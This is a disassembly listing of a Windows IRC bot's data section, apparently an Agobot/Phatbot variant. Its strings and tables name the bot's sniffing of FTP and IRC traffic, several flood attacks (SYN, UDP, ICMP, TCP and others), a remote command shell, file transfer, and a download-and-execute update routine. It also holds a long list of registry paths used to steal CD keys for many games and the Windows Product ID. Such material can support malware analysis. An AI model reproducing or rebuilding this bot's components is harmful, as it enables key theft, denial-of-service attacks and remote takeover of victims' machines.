unk_43B2EC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43B320	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43B354	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43B388	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_43B3B8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_43B40C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_43B634	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43BA24	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_43BA38	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_43BA70	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_43BA84	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_43BA98	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_43BAB4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_43BAE4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_43BAF0	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 43CC74h, 43CC68h,	43CC58h, 2 dup(0)
		dd 80000001h, 43CC38h, 43CC34h,	43CC20h, 2 dup(0)
		dd 80000001h, 43CBFCh, 43CC34h,	43CBF0h, 2 dup(0)
		dd 80000001h, 43CBCCh, 43CBC4h,	43CBB0h, 2 dup(0)
		dd 80000001h, 43CB9Ch, 43CB8Ch,	43CB70h, 2 dup(0)
		dd 80000001h, 43CB2Ch, 43CCB4h,	43CB18h, 2 dup(0)
		dd 80000002h, 43CAECh, 43CAE0h,	43CAC0h, 2 dup(0)
		dd 80000002h, 43CA8Ch, 43CCB4h,	43CA74h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_43CA40[eax], al
		mov	ah, 0CCh
		inc	ebx
		add	[eax], ch
		retf	43h
; ---------------------------------------------------------------------------
		align 10h
		dd 80000002h, 43CA10h, 43CCB4h,	43C9F8h, 2 dup(0)
		dd 80000002h, 43C9BCh, 4429D8h,	43C9ACh, 2 dup(0)
		dd 80000002h, 43C974h, 4429D8h,	43C960h, 2 dup(0)
		dd 80000002h, 43C914h, 4429D8h,	43C8F4h, 2 dup(0)
		dd 80000002h, 43C8A4h, 4429D8h,	43C878h, 2 dup(0)
		dd 80000002h, 43C83Ch, 4429D8h,	43C828h, 2 dup(0)
		dd 80000002h, 43C7F0h, 4429D8h,	43C7E0h, 2 dup(0)
		dd 80000002h, 43C790h, 4429D8h,	43C764h, 2 dup(0)
		dd 80000002h, 43C724h, 4429D8h,	43C708h, 2 dup(0)
		dd 80000002h, 43C6D8h, 4429D8h,	43C6B8h, 2 dup(0)
		dd 80000002h, 43C67Ch, 4429D8h,	43C668h, 2 dup(0)
		dd 80000002h, 43C620h, 4429D8h,	43C600h, 2 dup(0)
		dd 80000002h, 43C5ACh, 4429D8h,	43C57Ch, 2 dup(0)
		dd 80000002h, 43C52Ch, 4429D8h,	43C500h, 2 dup(0)
		dd 80000002h, 43C4C0h, 43C4B8h,	43C498h, 2 dup(0)
		dd 80000002h, 43C454h, 4429D8h,	43C438h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_43C3EC[eax], al
		fsubr	dword ptr [ecx]
		inc	esp
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 2 dup(0)
		dd 80000002h, 43C394h, 4429D8h,	43C388h, 2 dup(0)
		dd 80000002h, 43C354h, 4429D8h,	43C348h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_43C314[eax], al
		fsubr	dword ptr [ecx]
		inc	esp
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 43h
		align 10h
		add	al, [eax]
		add	byte_43C2D4[eax], al
		fsubr	dword ptr [ecx]
		inc	esp
		add	al, cl
		retn	43h
; ---------------------------------------------------------------------------
		dd 2 dup(0)
		dd 80000002h, 43C28Ch, 4429D8h,	43C278h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_43C23C[eax], al
		fsubr	dword ptr [ecx]
		inc	esp
		add	[eax], ch
		retn	43h
; ---------------------------------------------------------------------------
		dd 2 dup(0)
		dd 80000002h, 43C1F8h, 43CCB4h,	43C1DCh, 2 dup(0)
		dd 80000002h, 43C1BCh, 43C1B4h,	43C190h, 2 dup(0)
		dd 80000002h, 43C174h, 43C1B4h,	43C154h, 2 dup(0)
		dd 80000002h, 43C134h, 43C1B4h,	43C110h, 2 dup(0)
		dd 80000002h, 43C0F8h, 43C1B4h,	43C0F4h, 2 dup(0)
		dd 80000002h, 43C0D8h, 43C0C8h,	43C0C0h, 2 dup(0)
		dd 80000002h, 43C08Ch, 42B004h,	43C074h, 2 dup(0)
		dd 80000002h, 43C038h, 43C02Ch,	43C004h, 43BFF4h, 43BFE0h
		dd 80000002h, 43BFBCh, 43BFB0h,	43BF9Ch, 43BF8Ch, 43BF84h
		dd 80000002h, 43BFBCh, 43BFB0h,	43BF58h, 43BF8Ch, 43BF50h
		dd 80000002h, 43BFBCh, 43BFB0h,	43BF20h, 43BF8Ch, 43BF18h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial_0	db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
byte_43C23C	db 53h			; DATA XREF: ___:0043BDE2w
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
byte_43C2D4	db 53h			; DATA XREF: ___:0043BDB2w
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
byte_43C314	db 53h			; DATA XREF: ___:0043BD9Aw
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
byte_43C3EC	db 53h			; DATA XREF: ___:0043BD52w
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
byte_43CA40	db 53h			; DATA XREF: ___:0043BBBAw
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:0043BAECo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:0043BAE8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_43BAE4o
		align 4
asc_43CCE4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_43CCE8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_43CD64	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_43CD88	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_43CDA0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43CDCC	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_43CDF0	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_43CE08	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_43CE20	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_43CE40	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_43CE64	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_43CE88	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43CEB4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43CED4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_43CF04	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43CF34	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_43CF60	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43CF94	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_43CFD8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_43CFF4	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43D02C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_43D054	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_43D080	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_43D0A8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_43D0D0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_43D120	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_43D124	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_43D138	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_43D174	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_43D1B0	dd offset byte_5C3A41	; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles_0	db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
